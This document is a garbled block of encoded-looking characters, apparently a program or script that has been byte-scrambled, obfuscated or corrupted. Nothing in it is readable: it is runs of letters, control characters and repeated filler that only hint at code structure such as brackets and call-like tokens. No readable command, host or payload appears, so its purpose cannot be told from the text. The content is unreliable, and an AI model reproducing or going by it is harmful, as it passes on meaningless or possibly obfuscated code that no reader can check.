OVUWTNN\C8ZVRLVW\C R VZC8JT_\mmGGC	PU^GGGGZGGGGCJY	OCJYKGGOmmmGGGGWW RUOVV^UNGZYGCSPPKmmm	QU 
OVV^TNGGZYGCRVQ 	KmGWW RUOVUWSNGGGGZYGGGCSPPKmGGGGGWW RUOVV^SNGZYGGGGCQ STR^^KmGGGGGGWW RUOVUWRNGGZYGGCP R SS
UKm8Q TOVUWQNGGZYGWKmGGGGGWW RUOVUWPNGGGZYGCSPPKmGGGNKGGGGGGO8Q TOVUW_NKGGGGG8Q TOVUW_NKG8Q TOVUW_NKG^8UVUVOVUW_NKGWW RUOVUW_NKG	QU 
OVUW^NKGGGG	QU 
OVUW_NNN\mGGGGGGGGGOFC	PU^NGGmGGGGGWS	V VQPO8Q TOVUVWNKG	QU 
OVUVVNN\mGGGGGG	\mGmGGGCP^PTGZGGGO	NGGCJY	8\mCT_P_U8GGGZGGGGGCJYGIG8Q TOVWSPN\C	 UZOWLWN\CT_PRQZC	 UBVR\mGGGCJY	OCJY
KGGGGOmGWW RUOVUVUNGGGGGZYGGGCP^PTKmGGG8Q TOVUVTNGZYGGCT_P_U8KmGGGGGWW RUOVUVSNGGGZYG8Q TOT_WNOO	QU 
O_VPNGZYGGGNNKmNKGO8Q TOVUVRNKGGWW RUOVUVQNKGGG^8UVUVOVUVQNNN\mmmmGCJY	OCJY
KGOmG8Q TOVUVUNGGGZYGGGCP^PTKmWW RUOVUVTNGGGZYGGGGGCJYGGGIGGG8Q TOVUVPNKmGGGGGGG	QU 
OVUVSNGZYGGGGG@VW@KmGGNKGO	QU 
OVUVRNKGGWW RUOVUVQNKGGWW RUOVUVQNNN\mGGGGGGGO8Q TOVV^^NO	QU 
OVUV_NNNGmmmmGG	88OCP^PTN\mGmGGGGGGmmmmGGGGOF	
8OCSPPNNGGmGWS	V VQPO^8UVUVOVUVWNKGGG8Q TOVUV^NN\mGGG	\mGGGGGGGmGGGGGC_8RPGGGGGGZGG^8UVUVOVV^^NOWW RUOVUUWNNGGXG 88O^8UVUVOVUUVNKGGGGGCSPPNG]GGGGGG\mGGCR^Q^RRTGGGGZGGGG\mGGGGGGOC_8RPGAAGF
OC_8RPJY.#NNGGGmGGGGGGGOWW RUOVV^^NO8Q TOVUUUNNNGmGGGGGGCR^Q^RRTGZGONGG8	OC_8RPKGGWW RUO_VPNN\CRW8UZOWVWLW_N\CTRT ZCRW8UBVT\mmmGGGGGGGOOC_8RPJYNGGGGGAAGGGGGG	QU 
OVUUTNOC_8RPJYNNGmGGGGGGGGCR^Q^RRTGGZGF
OC_8RPJY<	QU 
OVUUSN:N\mmGmGGGGGGGOFCR^Q^RRTNGmWS	V VQPO^8UVUVOVUVWNKGG^8UVUVOVUURNN\mGGGGGGGGOCP^PTNGGmGGGGGGOFWW RUOVV^^NO	QU 
OVUUQNNGGGAAGGGGG	OWW RUOVUUPNNGGGGAAGG'^8UVUVOVUU_NO&%47&3/GGGGIGGGG	QU 
OVUU^NNNGGGGmGGG8	G&%47&3/GIG^8UVUVOVUU^N\mGmmmmGOWW RUOVUTWNO8Q TOVUUQNNNG'88OCP^PTN\mGmmmmG	\mmmmGmHHGG		 mmmGGGG_8U^ P O^8UVUVOVUTVNKGCSPPKGGGG^8UVUVOVW^QNN\m_8U^ P O	QU 
OVW_RNKGGCP^RKGGGGGG	QU 
OVW^QNN\mGGGGGGGO3GC  PNGGmGGWS	V VQPO8Q TOVUVWNKGC  PN\mGGGGGGGGO"	GGC  PNGmmmGGG	GGGmT_TV 		^OWW RUOVUTUNN\mGmGGGGmmmGGG		GGGGW
8
UTOCT^TNmmGGGGGGGGmGGGGGmGGGOFGWW RUOVUTTNOCT^TNGGGGGGGGGFG8OCT^TKGGG8Q TOVUTSNNNGGGGGGm	GGGCT^T\mGGGGGGmmmmmGGGGGCSPPGGZGGGGWW RUOVUTWNO8Q TOVVPPNNGXGGGGGO	 NGU^ _UOWW RUOVUTVNKGGEENGG]GGEE\mmmGGGGGGOFGGCSPPNGmGG	GGGCT^T\mmGmGGGGmmGCQV_GGGZGG8OCSPPN\mGGOWW RUOVVS_NOCT^TJY8KGGCQV_NGGGZZZGGGGNGGmGCT^TJY8GIZGG8Q TOVUTRNGGGGGIGGCQV_GGIGGE@E\mmmmGGGGGGGGGGO3GGC  PNGGmmmmGGGGGGGGWS	V VQPO8Q TOVUTQNKGC  PN\mGGGGGO"	GGGC  PNGGGGmHHG
 GGG*46+G-4()GmmGGmGGGGG	GCT^T\mmmmGGGmGGGG		GGGGGGVWWTR  S_OCT QTP	NmGGGGmGGGGGmGCSUSGZGGG^8UVUVOVUTPNO^8UVUVOVVPPNNGGXGGGGGGO	 NGGGU^ _UOWW RUOVUTVNKGGGEENGGGG]GGEE\mGGGGGOFGGCSUSNGGGGGmGGGGGGG	GGGGGCT QTP	\mGGmGGGGGC	8GGGGZGGO^8UVUVOVUT_NKGGGGWW RUOVUUSNN\mGGGOC	8GGGGGGGGGCNGGmGGGGOOCT QTP	<C:NGAAG8Q TOVVSVNOCT QTP	<C:NGGGGGAAGGG^8UVUVOVUT^NOWW RUOVUSWNKGCT QTP	<C:KGGCUUTVVNNGGmGC
GGZG^8UVUVORWPNOWKGGO	NGGGCUUTVV<V:GGGJGGGGGVN\mGGGCT QTP	<C:GGZGWW RUOS^WNO8Q TOVUSVNKGG@O@GGGGIGC
GGGGIGG@N@KGCT QTP	<C:N\mGmGGmmGGGO3GGGGGC  PNGmGGGWS	V VQPO	QU 
OVUSUNKGGGC  PN\mGGGGGGO"	GGGGGC  PNGGGmmmGGGm	GGGCT QTP	\mmmGmmGGGG		GGG	 QWOCTU8RS
KGGGC_	8 	NmGGGmGGGGGGGGmGGGCSPPGGGGZGGGGGG8Q TOVUTPNO8Q TOVVPPNNGGGXGO	 NGU^ _UOWW RUOVUSTNKGGEENGGG]GGEE\mmmGGGGGOCSPPGGGZZZGGGEENGGmG	GGCTU8RS
\mmmmGGmGGGGOFGGGWW RUOVUUTNOCTU8RS
NNGGGmGGGGG	GGCTU8RS
\mGGmmmmGGGGGGGGOFGGGGGOCTU8RS
<WW RUOVUSSN:NGGGGGGGFGWW RUOVUSRNOCTU8RS
<WW RUOVUSSN:NNGmGCTU8RS
<WW RUOVUSQN:GGGZGGGGON\mmmmGmGGGGOFGGGGG	QU 
OVUSPNOCSPPKGCTU8RS
<	QU 
OVUSQN:KGNNGmGGCTU8RS
<^8UVUVOVUS_N:<:GGGZGGCSPP\mGGGGmGGGGGGGGGGGGGO3GGC  PNGmGGGGGWS	V VQPOWW RUOVUS^NKGGC  PN\mGGGGGGGGGO"	GC  PNGGmmGGG	GCTU8RS
\CW
 SPPSZ7/78*&-(581"54.()\CUUZCW
 SPPSM^\mmmGGmmGG		GGGGGGURVR
RONmGGGGGmGCRT P 8VGGZGGON\mmGGGGGGO	O	QU 
O_UUNNGGAAGG^8UVUVOVUTPNO	QU 
OVVPPNNNGmC_RWVVGGZGONGGGG 8	O^8UVUVOVURWNKGGGONN\mGGGCSV^GZGGGON\mGGGGGGGGGOC_RWVVGGGGGGGGC	
NGmGGGGGGGGGGOFGGGGG8Q TOVVSVNOC	
NGGGGG^8UVUVOVVS_NOC	
KGWW RUO_UVNNGFZZGNGm		\mGGGGGmmmmCS	QGGGZG8Q TOVVVWNOC	
N\mmGGOCS	QGZZZGG@I@NGmGCS	QGGZGC	
\mGGGGGGmmGGGGGOOCSV^<CS	Q:NNGmHHG
G	 	GG07G!G.
 mmG		\mmGGGCSV^<CS	Q:GGZGGGG\mmGGC	VRGGGGZG0787+2 .)8#.5GGIG@H@GGIGGGGGC	
\mGGGGGGGGO^8UVUVOVVVWNOC	
NGGGGGZZZG@I@NGGmGGGGGGGGGGO'^8UVUVOVVSQNOC	VRNNGGmCRT P 8V<:GZGGGGGGC	VR\mGGGGmGGGGGGGGmGC
Q^	R8S	GGGGZGG^8UVUVOVURVNOC	VRN\mGGO'	QU 
OVVVVNOC
Q^	R8S	NNGmGGCRT P 8VGGZGG	QU 
OSWTNOCRT P 8VKGGTRSVT8OC
Q^	R8S	KGGGO	QU 
OVURUNNNN\mGmmmmGGGGmmGGGGGGmGmGGGGGGO'^8UVUVOVURTNO8^SU ^ONNNGGGGGCQTZTUMS\CPSV^Q8_ZCQTJ^\mC TWSUSGGGZGGGGVSO8^SU ^ONN\mGGGGGO	QU 
OVUSRNOC TWSUSNNGGGCQ  Z^PLT^\CQP	ZCQ  JU\mGGGOC TWSUSGGGGGGGC UPNGGGmGGGGGOC UPGGGGZZZGGGG
_QVONNGGmGGGG		\mmmmGGmCWSSGGGGZG8^SU ^ONGIG@H@GGIGC UP\mGGGO'WW RUOVVSQNOCWSSNGGGGGGAAGG8Q TO_WUNO^8UVUVOVURSNOC UPKG		O	QU 
O_WVNNNNGZZZGGGWW RUOVURUNNGmGGGGGCRT P 8V<:GGGGGGZGGCWSS\mGGGGGGGmGGmmGGGmGGGGGmmmmGGO	O8Q TOVUUPNNGGAAGGGG	QU 
OVUTPNOWW RUOVURRNNNGGGGmmGCRRU		PGGZGO	 NGG 8	O8Q TOVURQNKGGGGGEEN\mGGGGCPWTPGZGO	 NGG 8	OWW RUOVURPNKGGEEN\mGGC SPGZGG	O8Q TO^RSNNGXGG078$()3")38#.5GGGIGG	QU 
OVUR_NG]G&%47&3/GGIGGWW RUOVUR^N\mGGGGCPGGZGG8Q TOSWSNO	QU 
OVUQWNOOCRRU		PKGCPWTPNNN\mGGGGOCPGGGC
TPSP	QNGGmGGGGGGGGGO^8UVUVOVUQVNOC
TPSP	QKGGG8Q TO_UVNNGGFZZGGGGNGGC_UURTV	PZVRUWP\CQUZC_UURTV	P9UVT\mG		\mGGmGGCQ^^GGZGC SPGIGG@H@GGGGGIGC
TPSP	Q\mGGGGGGO'^8UVUVOVURTNOCQ^^NNGGmmGC
_VSGGZGGGVSOCQ^^N\mGGGGGGO8Q TOVUSRNOC
_VSNNGGmGGGOC
_VSGGGGGGGGC UPNGGmGGGC_GGZGGGCQ^^GGGGIG@H@GGGGIGGC UP\mGGO'	QU 
OVVSQNOC_NGGGAAG^8UVUVO_WUNOWW RUOVUQUNOC UPKGGGGG		O	QU 
O_WVNNNNGGZZZGGGGGGWW RUOVURUNNGGmGCRT P 8V<:GGZGC_\mmmmGGGmGmGmGGmC
Q8S^	WGZGCQ^^GGIGWW RUOVUQTN\mGGGGGGO'	QU 
OVUQSNOC
Q8S^	WNNGGGGGmGCRT P 8VGZGGWW RUOSWTNOCRT P 8VKGTRSVT8OC
Q8S^	WKGGO^8UVUVOVURUNNNN\mGmGmmmGGGGmGGGmG	GGGGG^8UVUVOSWSNOCRT P 8VN\mGGGmGGG		GGG8	 ROCWPNmGmGGGGGGOF^8UVUVOVUSRNOCWPNNGG	GGGGGGON\mC^

V
V
GGGZGGON\mmmGGGGGGGGOCWPGGGGGGC	WTVT ^NGGmGGGGGOF8Q TOVVSVNOC	WTVT ^NGGGGGGC	WTVT ^GGZZZGGGGEEGGGGGGWW RUOVVQQNOC	WTVT ^NGGGYGGGOSWUSLPUNNGGGGG		\mGGGGGC^_VQR
ZJ^WR\CV 	S_VZOC^_VQR
YWNXC^_VQR
]JC^_VQR
\mGO'8Q TOVUT^NOC	WTVT ^KGGEENGGGGGZZZGGGGGNGGGGGG		\mGGGGGGGO3GC  PNGmGG		\mGGGO"	GC  PNGmG		\CQWV^	R
ZP_LRW\CRP8R^UPVSZCQWV^	R
JSQ\mGGmGGC^

V
V
<:GGGZGGGC	WTVT ^\mGGGGGGGGmmmGGGG	GGGGC^

V
V
\mmGGGGmGGG		GGGG___R OCWPNmGmmmGGGGGGGGGmGGGGGGGGmGGGGGGGGGO
OCWPNNGGmG	GG\mGGmmmGGmCRT P 8VGGZGGGGGURVR
RON\mGGGGGO
OCRT P 8VNNGmG	GGGG\mmmGGGmGC  P
GGGZGGGGG\mGGGOCRT P 8VGGGCWSSNGmmGGOFGG'	QU 
OVUQRNOCWSSNGGGGGGGFGG'8Q TO_QVNOCWSSNNGmHHG'	G		mmGGGGG		\mGGGmmmmmGGGO'^8UVUVOVVV^NOCWSSNGYGOWQTTLWVTQNNGmGG		\mmGGGGGC	TGGGZGG'^8UVUVOVUQQNOCWSSN\mGGGGGGOFGC	TGGFGG	QU 
OVUQPNOC	TNNGGmmmmGG		\mmGGGGmmGGmGGGGC	VQVSS
GZG\C		QVQZTQLP_\CQP	PZC		QVQJU\mGGGGOCWPGGGGGGGGC_U
WNGGmGGGmmmmGC
T
	^
_GGZGGGGGG'^8UVUVOS^WNOC_U
WKGEEKGGGGC	TN\mGGGGGGGOC
T
	^
_GFZZGG	GGAAGC
T
	^
_GGGGGFZZGC	TNGGmGGGC	TGGGGGGZGGGGC
T
	^
_\mGGGC	VQVSS
GGGZGG\mGGGGmGGGGGO3GGGC  PNGGmWS	V VQPO	QU 
OVUQ_NKGC  PN\mGGGGGGG		\mGGGGGGO"	GGGGGC  PNGGmGGG		\mGGGmGmGmGGGGOC	VQVSS
NGmGGGOSS8^

TVOCWSSKGC	TNNGmGGGGGGGC  P
GGGZGG\mGGmGmmmmmmGGG	GGC  P
\mGGGGGGGGGGGGGO3GGGGGC  PNGmGWS	V VQPO	QU 
OVUQ^NKGGGGC  PN\mGGGGGGGGGO"	GGC  PNGmGGGmmGGGG	GGG\mGGmmmmmGG		GGGR
OC
Q^	R8S	KGGGGCP8R_8VTNmGmGGCTGZGGGON\mCP8R_8VTGGZGCP8R_8VTGJGGV\mmGC 
^8GZG'8Q TO_URNOC
Q^	R8S	N\mmmGGGOFGGGGG	QU 
OVUSRNOC 
^8NNGGGmHHG	
	G	Gmm	GCT\mGmmmmGGGGGGGGC 
^8GGGZGWW RUOVTUNOC 
^8KGGWKGGOS_ULV_NN\mmGGGGGmGGGGGGGOC 
^8GGC UPNGGmGGmmmGGGGGGOC UPGZZZGG@I@GGGGC UPGGZZZGGGGG8Q TO_UVNNGGmGG		\C  R ZUVTPS\C_	88	8ZC  R 9UVR\mGGGmGGGGGmGC8	_
GGGGZGGGGC
Q^	R8S	GGIG@H@GGGIGC UP\mmmmGGGGGGGGGOFG'^8UVUVOVUPWNOC8	_
NNGmmmmGGGG		\mGGGGmGGmGGGGGO'^8UVUVOVUPWNOC8	_
GIGG8Q TOVWQRNNNGGGmGCT<:GGGZGGGGGG8Q TOQTQNOC8	_
KGGGGGG	QU 
OVUPVNN\mGGG		\mGGmGGGGGGmGGGGOCP8R_8VTGGGYGGWNGGGGmGCTGGGGGZGG^8UVUVOVUPUNOCTKGGR
OC8	_
KGCP8R_8VTNN\mmmmGGmmmmGGmmGGGGG	GCT\mmGGGGGGG		GGG_8^
P_ ONmmmGGGGGCSWSZOW_LWQN\CWQTZCSWSBP\mmmmGGCQUP TUGGGGGZGON\mGCW_U8GGGGZGGGWW RUOVUPTNO&%47&3/KGG8Q TOVUPSNN\mGGGGGGmGGGCSGGZGON\mGGGGOCW_U8NGGmGGGCS<:GZGG8Q TOVUPRNOCW_U8N\mCS<:GGZGGGGG^8UVUVOVUPQNO^8UVUVOVUPPNOCW_U8NN\mGGGCS<:GGZGGWW RUOVUPPNOWW RUOVUP_NOWW RUOVUP_NOCW_U8NNN\mGGGGmGGGmGGGCS<:GGGZGGG^8UVUVOVUP^N\mmmmGCS<:GGGZGGGGWW RUOVU_WN\mCS<:GGZGGG8Q TOVU_VN\mGGGGCS<:GZGG^8UVUVOVU_UN\mmGCS<:GGGZGGWW RUOVU_TN\mGGGGGCS<:GGZG^8UVUVOVU_SN\mGGGGGGCS<:GGGZGWW RUOVU_RN\mGGmGC
TPGZGGG	QU 
OVUTPNOWW RUO^QNNGGXGGO	 NG'8Q TO^QNOWW RUO^PNNGG]GGGGEE\mmmGGGGGOC
TPGGGGGFZZGGGGGEENGGmGC_	GZGGGGGOWW RUOVUQVNOC
TPKGGG@\@NGGGFZZGNGGGGGXGGGG@\@GG]GGGG@]@\mGGGGGGGOWW RUOVVWRNOC_	KGGGC
TPNGGGGC
8SP_NGGmmmGGGGGGGGC
8SP_GZGGGGG^8UVUVOQQUNOC
8SP_N\mmmmGGGGOC
8SP_GGFZZGGGEENGGmGGGCS<:GZGGGC
8SP_\mGGmmGmGGGGGGmHHG07G7 G%GG	mmGGGmGCSGGGZG^8UVUVOVU_QNO	QU 
OVU_PNOCSNN\mGCS
^ S	WGGZGG^8UVUVOQPVNON\mCQUP TUGGZGGON\mGGmmmGOCSGGGGGC
Q^	R8S	NGGmmmGmGGOFGG'WW RUOVUPWNOC
Q^	R8S	NGGGGGGGGFGGGGG'WW RUOVU__NOC
Q^	R8S	NNGGm		\mmmmGGGmHMG	GGMHmmGGGGGGGGGOOWW RUOVU_^NONGGGJGGGGGCS
^ S	WNGGGYGOVTJTNNGGmGG\mGmmmmGmmmGGGGGCQUP TUGGZG	QU 
OVU^WNOCQUP TUKGGGGR
OC
Q^	R8S	KGGUNN\mmGGGGGGGGGGGGO3GGGGGC  PNGGGmmmmGWS	V VQPO	QU 
O^PTNKGGC  PN\mGGGGGGGO"	GGGC  PNGmGGmGGGGGGGGmGGGGGG	G^8UVUVOQ^RNO	QU 
OVU_QNOCQUP TUNKGGGGGOCW_U8NN\mGGGGGGm		GPQQ
VPOC
8WP8NmGGGGGGmGGmGGGGC^S
	8RQSGZGGGOC
8WP8GIG8Q TOVU^VNKGGGC
8WP8GIG^8UVUVOVU^UNN\mGGGGGGGGGGGOC^S
	8RQSGGGGC
Q^	R8S	NGmGGGGGGOFG'WW RUOVUPWNOC
Q^	R8S	NNGGGmGGGGGGG		\mmmGGGGGGGmmGGGGGC8PT8GGGGZGGVSOC
Q^	R8S	N\mGGGGGGGGGOF^8UVUVOVUSRNOC8PT8NNGm		\mmmGGGmHHGG	
	G	mmGGGGGOC8PT8GGGGGGC  PNGGGGmGGGGGO^8UVUVOVVT_NOC  PKGGGGGJOVSV9VTPNNGGGZZZGGGWW RUO^_RNGGAAGGGRU	_8
OC
Q^	R8S	GGGGGIG@H@GGIGGGC  PKGGOS^WVL^^NNNGGGmm	GGGG\mGGGGmmmmmGGGGOC8PT8GGGGGC  PNGGmHHG	G	GmmGGCRU_VQGGZGGGGC
Q^	R8S	GIGGGGGG@H@GIGGGC  P\mGGGOFG'^8UVUVOVUPWNOCRU_VQNNGGGmG		\mGGmGGGGGGGCU
SRUGGGZGGVSOCRU_VQN\mGGOF	QU 
OVU^TNOCU
SRUNNGmG		\mmHHG07G%	G%GGmmGGGGGGGGGGOCU
SRUGGGGGGGGC	S^RWNGGGmmGGGGO	QU 
OVVT_NOC	S^RWKGGJOVLTNNGZZZGGGGGG	QU 
O^_RNGAAGGRU	_8
OCRU_VQGGGIG@H@GIGGGGGGC	S^RWKGGGOS^SVLR^NNNGGmGGGGG	GGGG\mGmmGmGGmGGGmmmmGGGO3GGC  PNGGGmGGGGGGWS	V VQPO8Q TOVU^SNKGGGGC  PN\mGGGO"	GGC  PNGGGGC WQZPTMT\C8S TVZC WQJSS\mGGGGmHHGG GmmGG	GGGG\mmGGGGGG		G_PQQUPONmmmmmGGGmGGGGGGGO8
 _R_^O^RRONNNGGG	\mmGGO 8		OWW RUOVU^RNNNGGmGGGGGGG	\mGGGmmGGmCPR
GGGGGZG	W
_RUTTON\mGGGGOFGGGGGGCPR
GGGWW RUOVVQQNOCPR
NGGG[GGO^^VL^NNGGGmmG	\mGmmmGGGGOFGW^RTOCPR
NNGGGmWS	V VQPO8Q TOVU^QNKGGWW RUOVU^PNN\mGG	\mGGGGGmGGGGGGGmGGCQUP TUGGGGGZG_8^
P_ ON\mmmmGGGGGGGGO
OCQUP TUNNGGGmmmmGGOF 8		O	QU 
OVU^_NNNGGGGmHHG07G4G+ ]G	
G	 	mmmmmGGGWS	V VQPO	QU 
OVU^QNKGG	QU 
OVU^^NN\C
SRWZR^MT\C^VSZC
SRWJTU\mGGGG8		O8Q TOVTWWNKGGGGGGVKGGGGO_V^LUP_VNN\mmmGGG8		O^8UVUVOVTWVNKGGVKGOUR^VPTLUPNN\mG	\mGGGGGmC^QGZGGGGGW\mGGGGOCQUP TUGGC
8WP8NGGGC	PWWRZQTLR\CTZC	PWWRJTP\mGGmGGGGGGGOPQQ
VPOC
8WP8NNGmmmGGG		\mGGGmmGGGGGGGCQ


GZGGGGGGEE\mGGC	PTW
QGZGGGC
8WP8GGIG^8UVUVOVU^VN\mmGGGGGGO'WW RUOVVV_NOC	PTW
QNGGGGAAGF'8Q TOVTWUNOC	PTW
QNNGGGmHHGGJ
mmGGGC	PTW
QGZGG	\mGGGGGGOF'8Q TOVTWUNOC	PTW
QNNGmPTV8
OC	PTW
QKGGGGGOSWQL_PNKGGN\mGmGGGGGGGOC	PTW
QGGAAGGGOF'^8UVUVOVTWTNOC	PTW
QNGGGGGGGGF'8Q TOVTWSNOC	PTW
QNNNGGGmmmmGGGGGGC	PTW
QGGZGGGG	\mmmGGGGmmGGGOC	PTW
QNGGGGGGmmGGGGGGGGC

R
	 GGZGGGC	PTW
QGIGG@H@GGGIGGG
_QVON\mGGGC _8P
GGGZG_^UQUSOCPR
N\mGGGGGGGGCQVQR
GGZGG
TT^	SOC

R
	 KGGC _8P
KGGGGG8Q TOVU^QNN\mmGGOCQVQR
GGGAAGCQVQR
GYZGGGG8Q TOVTWRNOC _8P
NNGGmmmmCQ


GGZGC

R
	 \mGGmmHHG07G.	G&7.]G	G	mmGGGGGGmmmmGGGGGGGOFGGCQ


NGGGGCVUZ7/78.)38*&?H7/78.)38*&?\C	P	VZCVULSU\mGGGGCTRUGZG^8UVUVOVTWQNO
_QVONKGG7&3/.)!(8!.+")&*"N\mGC	W	GGGGGZGGGGGC
8WP8GGGGIGGG8Q TOVTWPNGIGGCTRU\mGGOFGGGGG'	QU 
OVTWTNOC	W	NNGGGGmHHG07G) 	G%]GGJ
mmGPTV8
OC	W	KGGOWVWLWWNKGGN\mmGC

R
	 GGZGGC	W	GIGG@H@GGGGGIGGGG
_QVON\mmGGGGC _8P
GGZGG_^UQUSOCPR
N\mGGGCQVQR
GZG
TT^	SOC

R
	 KGC _8P
KGGG	QU 
OVTW_NN\mGGGGOCQVQR
GGGGAAGGGGCQVQR
GYZGGGGWW RUOVTW^NOC _8P
NNGGGmGGGGCQ


GGZGGC

R
	 \mGGGmGC	
GGGGZGCTRUGGIGG@H@GIGGG
_QVON\mGGG8	RR8P^R^ OC
8WP8KGGC	
N\mGGGGmGGGGmmGGGGOFGGGGCQ


NGGmGGG		\mmVVU
OCQ


N\mG



T_WOCQ


KGGGOUV^LPTNN\mGGC^QLL\mmGGmGGGGOC^QGYGGGWNGGmGG8		O^8UVUVOVTWVNKGGVKGOUQWRTWJVTTWNN\mGGGGGmmmGGG8		O^8UVUVOVTVWNKGGGGVKGGGGOTRURLPRNN\mGmGGGGGO3GGGGGC  PNGGGmmmmGGGWS	V VQPO^8UVUVOVTW_NKGGGGC  PN\CUUTS^ZSVVP\CTUZCUUTS^B_\mGGGGGO"	GGGGC  PNGGmGGGGGGmGGmmmG		GGGG8	RR8P^R^ OC
8WP8KGGC	
NmGmGGmmGGGC	GGGZGGGC
8WP8GIGG^8UVUVOVTVVN\mGGGGGGGOFGGGGGG'^8UVUVOVUQRNOC	NNGmHHG07G%G3	
]GGJmmGGGGGGC	GGGZGG^8UVUVOVTVUNOC
8WP8NGGGIGGGGWW RUOVTVVN\mGGGmmGOFG'	QU 
OVTVTNOC	NNGGmHHG745JVRG
]G		GmmG	\mGGGmmGCWUQGZGG'^8UVUVOVUQQNOC	N\mGOFGGGCWUQNGGmGG	\mmGGGGmGCP R
GGZGGEE\mmmGGGCGGZGGGGEE\CRQ	SVZP^UV\C


RV	ZCRQ	SVB_\mmGGGGGGO	QU 
OVUT^NO^8UVUVOVTVSNKGGCWUQKGGGGGGCUUTVVNNGGGGGmGGCP R
GGZGGGGGCUUTVV<V:\mGGmHMG		G
 JGMHmmmGGGGGOWW RUOVUT^NO	QU 
OVTVRNKGGGGCWUQKGGCUUTVVNNGC 
T __SZOWLWPPN\C88ZC 
T __SBVW\mGGCGGGGZGGGCUUTVV<V:\CZ7/78.)38*&?H7/78.)38*&?\C^8WZCLSU\mmmGGGGOFGCP R
GGFGGGCGGGFG	QU 
OVTVQNO8Q TOVTVPNKGGGGGGCNNGGGmmmmGGGG	\mGGGGmGGGCGGGGGZGGGC +(%&+4<8Q TOVTV_N:\mGOFGG^8UVUVOVUTTNOCNGGGGFGG^8UVUVOVTV^NOCKGWW RUOVUVNNNGmGGG	\mGGGGGGGGmmmmGGGOFGGWW RUOVTVQNO^8UVUVOVTUWNKGGGCP R
NNGGmWS	V VQPOWW RUO^WWNKGGGGG^8UVUVOVTUVNN\mG	\mmmmmGCW_QWT8GGGGGZG@@GGGGIGGCP R
GGGGIG^8UVUVOVTUUNGIGGGGCGGGGGIGGGGG^8UVUVOVTUTN\mGGGCJYOWW RUOVTUSNN\mGGGGGCQ8S_GGGZGCJY 8O@4@GGGIG^8UVUVOVTURNGGGIGGGGCW_QWT8GGGGGGIGGGG^8UVUVOVTUQNGGIG	QU 
OVTUPNGGIGGWW RUOVTU_NN\mGGGGOCQ8S_GZZZG	NGGmGGGCJYO	QU 
OVTU^NN\mGG	\mmmmGmC_RWVVGGGGZGGGGV	^	 8QOCQ8S_N\mGGGGOFGGGWW RUOVU^TNOC_RWVVNNGGGGmCJYO	QU 
OVTTWNN\mGGGGG	\mmGGGGmGGO^8UVUVOVUSPNOC	
KGGC_RWVVKGNNGmGGCJYO8Q TOVTTVNN\mmmGGGGGG	\mGGGmGGGGGGC_RWVV<:GGZGC	
\mGC_RWVVGGGGGZGGWW RUOVTTUNOC_RWVVN\C
P_UQ_VZS^LT_\CQ_ZC
P_UQ_VJST\mC^QTSUGZGGGGWW RUOVTTTNOC_RWVVN\mmmmGGC_8RPGZGGCJYOCJYO@2@GGGGIG	QU 
OVTTSNGGIGGGCW_QWT8GGGIGG8Q TOVTTRNGGIGGGWW RUOVTUPNKGGGC^QTSUNN\mGGOC_8RPGGZZZGGNGGGGmGGGGWS	V VQPO8Q TO^WWNKG8Q TOVTTQNN\mGGGGCJYO^8UVUVOVTTWNN\m	\mGmGGGGGGGGCJYO^8UVUVOVTTVNN\mGGGGO3GGC  PNGC_TZ_WVVR\C
	QSPZC_T9UU^\mGGGWS	V VQPO^8UVUVOVTTPNKGGGC  PN\mGGGGO8Q TOVTT_NOC +(%&+4<WW RUOVTV_N:NNGGGmG'C +(%&+4<	QU 
OVTV_N:JYO^8UVUVOVTT^NN\mGmmGGGGGGmGGGGGGGGO"	GGGC  PNGGGmGGGWS	V VQPO	QU 
OVTTPNKGGGGGC  PN\mGGGGGO	QU 
OVTT_NOC +(%&+4<WW RUOVTV_N:NNGGGGmGG'C +(%&+4<	QU 
OVTSWN:JYO8Q TOVTT^NN\mmmGGGGmGmHHGG		JGG$
GmmGGGmG		GT_P8QSP^ONmGmGGGGCWUQGZGG	\mGOCWUQGGGGFZZGG	NGGGG	GCWUQ\mmmGGGOF8Q TOVUTPNO8Q TOU^TNNNGmmmmGGGGGCWUQGGGZGEE\C^SWVQ_ZVTURS\C
 8PZC^SWVQ_9QV\mGGG	GGGCWUQ\mGGmGGCWUQGGGGGZGG' 	O	QU 
OT_QNOWW RUOVTSVNNN\mGGGGOFWW RUOVTSUNOCWUQNGGGGGG8Q TOVTSTNOCWUQNGGG[GGORSLSQNNGCWUQGZGEE\mGG	GGCWUQ\mGGmGGGG		G	WUONmGGGGGmGGCW S^
PZJVRW\CURZOCW S^
PYWNXCW S^
P]JCW S^
P\mGGGGGOF	O	QU 
OVUUPNNNG	\mCWU W
GZG	QU 
OVTSSNO^RRONKGGWW RUO^_RNN\mGGGGC
^Q
GGGGGGZG^U  

VRO&%47&3/GGIGGG8Q TOVTSRNKGGOULQNNGGGIGG^8UVUVOVTSQN\mGGGCPU
^			TGGGGGZGGG^U  

VRO&%47&3/GGGGIGGGGWW RUOVTSPNKGOVQT9VPVNN\mGC
S PR8GGZG	QU 
OVUTPNO^8UVUVOVTS_NNGXGGGG		8ONG]GGGGEE\mGGGOC
S PR8GZZZGGGEENGGGmGGC
S PR8GZGO	QU 
OVTS^NOWW RUOQVSNNGGXGGG 88ONGG]GGGGEENGGIGGGGGG	QU 
OVTRWN\mGGGmGGC
RPGGGGGZGGGG^8UVUVOVTRVNO8Q TOVTRUNKGGGWW RUOVTRTNKGC
S PR8GGGGIGGG@H@GGIGGC
^Q
N\mmmmGO^8UVUVOVUQVNOC
RPKGWW RUOVTRTNNGGGFZZGWNGGGC
RPGGGGGZG8Q TOVTRTNGIGGGG^8UVUVOVWQUNOC
RPKG@H@N\mGC W_8V  GGGGZGGWW RUOVTS^NO^8UVUVOPPWNNGGXG
8O	QU 
OVTRSNGGGGGIGGGS^8SO^8UVUVOVTSPNNNGGG]GGEE\mGGGGGGGGGGOC W_8V  GGGGGZZZGEENGGC W_8V  GGGGZG^8UVUVOVTRRNGGGGGIGGGPQ
P
WS	U^OEENGIGWW RUOVTRQNGGGGIGGGGS^8SOWW RUOVTSPNN\mmmmGGGGGGO^8UVUVOVUQVNOC W_8V  KG8Q TOVTRRNNGFZZGGGWNGC W_8V  GGGGZGG^8UVUVOVTRRNGGIGGGG^8UVUVOVTRPNO^8UVUVOS^WNOWW RUOVTR_NKGGGGGEEKGGGC W_8V  NKGG@H@N\mCS	GZGGOC +(%&+4<WW RUOVTR^N:NGGAAG^8UVUVOVTSUNOC +(%&+4<WW RUOVTR^N:NGGXGGC +(%&+4<8Q TOVTR^N:GG]GGGEE\mGGGGGGGGGO8Q TOVTSTNOCS	NGG[GGOVRWJRWNNGGGmGGGCS	GZGGGG_	8VUST
UO	QU 
